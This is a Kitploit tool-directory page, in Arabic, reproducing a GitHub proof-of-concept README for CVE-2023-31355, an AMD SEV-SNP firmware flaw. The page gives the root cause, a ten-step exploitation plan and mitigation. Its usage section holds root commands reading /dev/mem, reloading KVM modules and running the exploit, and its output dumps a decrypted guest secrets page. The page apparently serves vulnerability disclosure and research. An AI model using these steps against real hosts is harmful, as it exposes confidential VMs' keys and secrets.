Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2023-31355-poc | Kitploit
أدوات/GitHubGitHub/freax13/cve-2023-31355-poc
أدوات التشفير/فك التشفيرتحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالأمن الأجهزةتحليل البرامج الثابتةاستغلال الملفات الثنائية
GitHubfreax13/cve-2023-31355-poc

cve-2023-31355-poc

عرض المستودع
8منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة في البرنامج الثابت لـ SEV

يحتوي هذا المستودع على استغلال لثغرة في البرنامج الثابت لـ SEV. يسمح الاستغلال بفك تشفير ذاكرة عشوائية لضيف SEV-SNP بعد إلغاء تفعيله.

تم اختباره على الإصدار 1.55.16 (الأحدث وقت كتابة هذا النص).

السبب الجذري

يحاول snp_reclaim_buffer دون قيد أو شرط كتابة تغييرات RMP مرة أخرى حتى عندما لا يكون العنوان مغطى بـ RMP. إذا لم يكن address مغطى بـ RMP، فإن عنوان إدخال RMP page_rmp_paddr لا تتم تهيئته بشكل صحيح أبدًا ويبقى على قيمته الأولية 0. ونتيجة لذلك، يحاول البرنامج الثابت كتابة التغييرات إلى إدخال RMP مرة أخرى إلى العنوان 0. هذا أمر سيئ لأن العنوان 0 مغطى بـ RMP ولا ينبغي الكتابة إليه دون مزيد من الفحوصات. إذا كان address خارج المنطقة المغطاة بـ RMP، فإن page_rmp_entry لا تتم تهيئته بشكل صحيح أبدًا ويحتوي على ذاكرة غير مهيأة من المكدس. هذه الذاكرة غير المهيأة ثابتة عمليًا.

يوجد تعليق يحذر من هذا النمط البرمجي تحديدًا، وهو أيضًا سبب عدم مفاجأتي إذا لم أكن أول من أبلغ عن هذا.

يتم استدعاء snp_reclaim_buffer مع عنوان صفحة الحالة الخاصة بالمخازن المؤقتة الدائرية لـ SEV عندما يطلب الهايبرفايزر الخروج من وضع المخزن المؤقت الدائري. هذا العنوان يُتحكم فيه من قبل المهاجم. توجد بعض الفحوصات لهذا العنوان، لكن الصفحات الافتراضية (أي الصفحات الواقعة خارج المنطقة المغطاة بـ RMP) مسموح بها صراحةً.

الاستغلال

يمكننا استغلال عملية الكتابة إلى العنوان 0 بوضع صفحة سياق ضيف هناك. من الملائم أن الحقل الأول في صفحة سياق الضيف هو بذرة مفتاح UMC، وهي بنفس حجم إدخال RMP تمامًا (كلاهما بحجم 16 بايت). من خلال خداع البرنامج الثابت لكتابة التغييرات مرة أخرى إلى العنوان 0، يمكننا إفساد بذرة مفتاح UMC. إدخال RMP غير المهيأ الذي تتم كتابته هو نفسه دائمًا، لذا فإن بذرة مفتاح UMC التالفة ستكون دائمًا متطابقة تقريبًا أيضًا: عدد الصفحات الفرعية (9 بتات) في إدخال RMP لا تتم كتابته، لكن جميع الحقول الأخرى تتم كتابتها. من خلال إنشاء صفحات سياق ضيف جديدة مرارًا وتكرارًا، بحيث يكون لكل منها عدد صفحات فرعية أولي عشوائي مختلف في كل مرة، يمكننا في النهاية إنشاء عدة ضيوف بنفس بذرة مفتاح UMC.

لاستغلال الثغرة، يمكننا تنفيذ الخطوات التالية:

  1. أنشئ صفحة سياق ضيف على العنوان 0 للضيف الضحية.
  2. استخدم الثغرة لإفساد بذرة مفتاح UMC الخاصة بالضيف الضحية.
  3. فعّل صفحة سياق الضيف الضحية، وأطلق الضيف الضحية وشغّله.
  4. ألغِ تفعيل الضيف الضحية.
  5. أنشئ صفحة سياق ضيف على العنوان 0 للضيف المهاجم.
  6. استخدم الثغرة لإفساد بذرة مفتاح UMC الخاصة بالضيف المهاجم. جميع البتات باستثناء 9 بتات مضمونة أن تطابق الضيف الضحية.
  7. إذا كانت بذرة مفتاح UMC الخاصة بالضيف المهاجم تطابق تلك الخاصة بالضيف الضحية، فتابع، وإلا فانتقل إلى الخطوة 5.
  8. فعّل صفحة سياق الضيف المهاجم وأطلقه مع تفعيل علم التصحيح.
  9. خصّص ذاكرة الضيف الضحية للضيف المهاجم.
  10. استخدم أمر SNP_DBG_ENCRYPT لفك تشفير ذاكرة الضيف الضحية باستخدام صفحة سياق الضيف المهاجم. سينجح ذلك لأن الضيف الضحية والضيف المهاجم يتشاركان بذرة مفتاح UMC.

التأثير

نظرًا لأننا لا نستطيع فك تشفير الذاكرة إلا بعد إلغاء تفعيل الضيف، فمن غير الممكن إنشاء تقارير مصادقة مزيفة حتى مع تمكننا من الوصول إلى أسرار الضيف. يمكننا فقط إنشاء تقارير مصادقة مزيفة إذا تم ترحيل الضيف إلى مضيف آخر قبل إلغاء تفعيله: في هذه الحالة، ستعمل الأسرار (أي VMPCKs) الخاصة بالضيف المُلغى تفعيله أيضًا على المثيل المُرحَّل الجديد.

لكن من الناحية العملية، تخزّن العديد من التطبيقات معلومات حساسة أخرى (مثل المفاتيح الخاصة ومفاتيح تشفير القرص) يمكن تسريبها باستخدام هذا الاستغلال.

التخفيف

يجب كتابة إدخال RMP مرة أخرى فقط إذا لم تكن الصفحة في الحالة الافتراضية.

استخدام PoC

  1. غيّر المنطقة المغطاة بـ RMP في BIOS إلى 64GiB (0x10000 صفحة بحجم 1-MiB). إذا لم يدعم نظامك ذلك، فسيتعين تعديل تصحيحات Linux وفقًا لذلك. تم اختبار إثبات المفهوم على نظام بذاكرة 128GiB.
  2. طبّق التصحيحات في مجلد linux-patches على أحدث إصدار من https://github.com/AMDESE/linux/commits/snp-host-v10. قم ببناء النواة وتثبيتها وإقلاعها.
  3. أطلق ضيف SEV-SNP ضحية.
  4. أثناء استمرار تشغيل الضيف، احصل على بذرة مفتاح UMC (المشفرة).
    root@kitploit:~
    root@server:~# hexdump -ve '16/1 "%.2x" "\n"' -n 16 /dev/mem
    118402003190020000d0150701000000
    
  5. أوقف الضيف الضحية.
  6. افحص سجلات النواة للعثور على موقع صفحة الأسرار التي تم إنشاؤها أثناء الإطلاق.
    root@kitploit:~
    root@server:~# dmesg | grep "kvm_amd: Detected secret page"
    [  463.851449] kvm_amd: Detected secret page at pfn 171a24
    
  7. أعد تحميل وحدات النواة ccp و kvm و kvm_and:
    root@kitploit:~
    root@server:~# rmmod kvm_amd kvm ccp && modprobe kvm_amd
    
    يبدو أن تصحيحات Linux تعبث بـ RMP وهذا يعيد تهيئة RMP.
  8. شغّل إثبات المفهوم.
    root@kitploit:~
    root@server:~/firmware-vuln-poc# cargo run -- --umc-key-seed 118402003190020000d0150701000000 --pfn 0x171a24 
        Finished dev [unoptimized + debuginfo] target(s) in 0.03s
    Creating VM with identical UMC key seed
    [11, 84, 02, 00, 31, 90, 02, 00, 00, d0, 15, 07, 01, 00, 00, 00]
    Raw page:
    000: 0300000000000000110fa0000000000000000000000000000000000082837143
    020: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
    040: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
    060: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
    080: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
    0a0: 0000000000000000000000000000000000000000000000000000000000000000
    0c0: 0000000000000000000000000000000000000000000000000000000000000000
    0e0: 0000000000000000000000000000000000000000000000000000000000000000
    100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
    120: 0000000000000000000000000000000000000000000000000000000000000000
    140: 0000000000000000000000000000000000000000000000000000000000000000
    160: c800000000000000000000000000000000000000000000000000000000000000
    180: 0000000000000000000000000000000000000000000000000000000000000000
    1a0: 0000000000000000000000000000000000000000000000000000000000000000
    1c0: 0000000000000000000000000000000000000000000000000000000000000000
    1e0: 0000000000000000000000000000000000000000000000000000000000000000
    200: 0000000000000000000000000000000000000000000000000000000000000000
    220: 0000000000000000000000000000000000000000000000000000000000000000
    240: 0000000000000000000000000000000000000000000000000000000000000000
    260: 0000000000000000000000000000000000000000000000000000000000000000
    280: 0000000000000000000000000000000000000000000000000000000000000000
    2a0: 0000000000000000000000000000000000000000000000000000000000000000
    2c0: 0000000000000000000000000000000000000000000000000000000000000000
    2e0: 0000000000000000000000000000000000000000000000000000000000000000
    300: 0000000000000000000000000000000000000000000000000000000000000000
    320: 0000000000000000000000000000000000000000000000000000000000000000
    340: 0000000000000000000000000000000000000000000000000000000000000000
    360: 0000000000000000000000000000000000000000000000000000000000000000
    380: 0000000000000000000000000000000000000000000000000000000000000000
    3a0: 0000000000000000000000000000000000000000000000000000000000000000
    3c0: 0000000000000000000000000000000000000000000000000000000000000000
    3e0: 0000000000000000000000000000000000000000000000000000000000000000
    400: 0000000000000000000000000000000000000000000000000000000000000000
    420: 0000000000000000000000000000000000000000000000000000000000000000
    440: 0000000000000000000000000000000000000000000000000000000000000000
    460: 0000000000000000000000000000000000000000000000000000000000000000
    480: 0000000000000000000000000000000000000000000000000000000000000000
    4a0: 0000000000000000000000000000000000000000000000000000000000000000
    4c0: 0000000000000000000000000000000000000000000000000000000000000000
    4e0: 0000000000000000000000000000000000000000000000000000000000000000
    500: 0000000000000000000000000000000000000000000000000000000000000000
    520: 0000000000000000000000000000000000000000000000000000000000000000
    540: 0000000000000000000000000000000000000000000000000000000000000000
    560: 0000000000000000000000000000000000000000000000000000000000000000
    580: 0000000000000000000000000000000000000000000000000000000000000000
    5a0: 0000000000000000000000000000000000000000000000000000000000000000
    5c0: 0000000000000000000000000000000000000000000000000000000000000000
    5e0: 0000000000000000000000000000000000000000000000000000000000000000
    600: 0000000000000000000000000000000000000000000000000000000000000000
    620: 0000000000000000000000000000000000000000000000000000000000000000
    640: 0000000000000000000000000000000000000000000000000000000000000000
    660: 0000000000000000000000000000000000000000000000000000000000000000
    680: 0000000000000000000000000000000000000000000000000000000000000000
    6a0: 0000000000000000000000000000000000000000000000000000000000000000
    6c0: 0000000000000000000000000000000000000000000000000000000000000000
    6e0: 0000000000000000000000000000000000000000000000000000000000000000
    700: 0000000000000000000000000000000000000000000000000000000000000000
    720: 0000000000000000000000000000000000000000000000000000000000000000
    740: 0000000000000000000000000000000000000000000000000000000000000000
    760: 0000000000000000000000000000000000000000000000000000000000000000
    780: 0000000000000000000000000000000000000000000000000000000000000000
    7a0: 0000000000000000000000000000000000000000000000000000000000000000
    7c0: 0000000000000000000000000000000000000000000000000000000000000000
    7e0: 0000000000000000000000000000000000000000000000000000000000000000
    800: 0000000000000000000000000000000000000000000000000000000000000000
    820: 0000000000000000000000000000000000000000000000000000000000000000
    840: 0000000000000000000000000000000000000000000000000000000000000000
    860: 0000000000000000000000000000000000000000000000000000000000000000
    880: 0000000000000000000000000000000000000000000000000000000000000000
    8a0: 0000000000000000000000000000000000000000000000000000000000000000
    8c0: 0000000000000000000000000000000000000000000000000000000000000000
    8e0: 0000000000000000000000000000000000000000000000000000000000000000
    900: 0000000000000000000000000000000000000000000000000000000000000000
    920: 0000000000000000000000000000000000000000000000000000000000000000
    940: 0000000000000000000000000000000000000000000000000000000000000000
    960: 0000000000000000000000000000000000000000000000000000000000000000
    980: 0000000000000000000000000000000000000000000000000000000000000000
    9a0: 0000000000000000000000000000000000000000000000000000000000000000
    9c0: 0000000000000000000000000000000000000000000000000000000000000000
    9e0: 0000000000000000000000000000000000000000000000000000000000000000
    a00: 0000000000000000000000000000000000000000000000000000000000000000
    a20: 0000000000000000000000000000000000000000000000000000000000000000
    a40: 0000000000000000000000000000000000000000000000000000000000000000
    a60: 0000000000000000000000000000000000000000000000000000000000000000
    a80: 0000000000000000000000000000000000000000000000000000000000000000
    aa0: 0000000000000000000000000000000000000000000000000000000000000000
    ac0: 0000000000000000000000000000000000000000000000000000000000000000
    ae0: 0000000000000000000000000000000000000000000000000000000000000000
    b00: 0000000000000000000000000000000000000000000000000000000000000000
    b20: 0000000000000000000000000000000000000000000000000000000000000000
    b40: 0000000000000000000000000000000000000000000000000000000000000000
    b60: 0000000000000000000000000000000000000000000000000000000000000000
    b80: 0000000000000000000000000000000000000000000000000000000000000000
    ba0: 0000000000000000000000000000000000000000000000000000000000000000
    bc0: 0000000000000000000000000000000000000000000000000000000000000000
    be0: 0000000000000000000000000000000000000000000000000000000000000000
    c00: 0000000000000000000000000000000000000000000000000000000000000000
    c20: 0000000000000000000000000000000000000000000000000000000000000000
    c40: 0000000000000000000000000000000000000000000000000000000000000000
    c60: 0000000000000000000000000000000000000000000000000000000000000000
    c80: 0000000000000000000000000000000000000000000000000000000000000000
    ca0: 0000000000000000000000000000000000000000000000000000000000000000
    cc0: 0000000000000000000000000000000000000000000000000000000000000000
    ce0: 0000000000000000000000000000000000000000000000000000000000000000
    d00: 0000000000000000000000000000000000000000000000000000000000000000
    d20: 0000000000000000000000000000000000000000000000000000000000000000
    d40: 0000000000000000000000000000000000000000000000000000000000000000
    d60: 0000000000000000000000000000000000000000000000000000000000000000
    d80: 0000000000000000000000000000000000000000000000000000000000000000
    da0: 0000000000000000000000000000000000000000000000000000000000000000
    dc0: 0000000000000000000000000000000000000000000000000000000000000000
    de0: 0000000000000000000000000000000000000000000000000000000000000000
    e00: 0000000000000000000000000000000000000000000000000000000000000000
    e20: 0000000000000000000000000000000000000000000000000000000000000000
    e40: 0000000000000000000000000000000000000000000000000000000000000000
    e60: 0000000000000000000000000000000000000000000000000000000000000000
    e80: 0000000000000000000000000000000000000000000000000000000000000000
    ea0: 0000000000000000000000000000000000000000000000000000000000000000
    ec0: 0000000000000000000000000000000000000000000000000000000000000000
    ee0: 0000000000000000000000000000000000000000000000000000000000000000
    f00: 0000000000000000000000000000000000000000000000000000000000000000
    f20: 0000000000000000000000000000000000000000000000000000000000000000
    f40: 0000000000000000000000000000000000000000000000000000000000000000
    f60: 0000000000000000000000000000000000000000000000000000000000000000
    f80: 0000000000000000000000000000000000000000000000000000000000000000
    fa0: 0000000000000000000000000000000000000000000000000000000000000000
    fc0: 0000000000000000000000000000000000000000000000000000000000000000
    fe0: 0000000000000000000000000000000000000000000000000000000000000000
    
    Secrets page:
    imi_en: false
    FMS: 00a00f11
    gosvw: 00000000000000000000000082837143
    vmpck0: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
    vmpck1: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
    vmpck2: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
    vmpck3: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
    VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
    tsc_factor: 200
    
    لاحظ أنه لا يوجد شيء مميز في صفحات الأسرار؛ يمكن استخدام هذا الاستغلال أيضًا لفك تشفير الصفحات العادية. تُستخدم صفحات الأسرار في إثبات المفهوم لأنها تحتوي على محتوى مميز جدًا يجعل من السهل ملاحظة نجاح فك تشفير ذاكرة الضحية.
تنزيل الأداة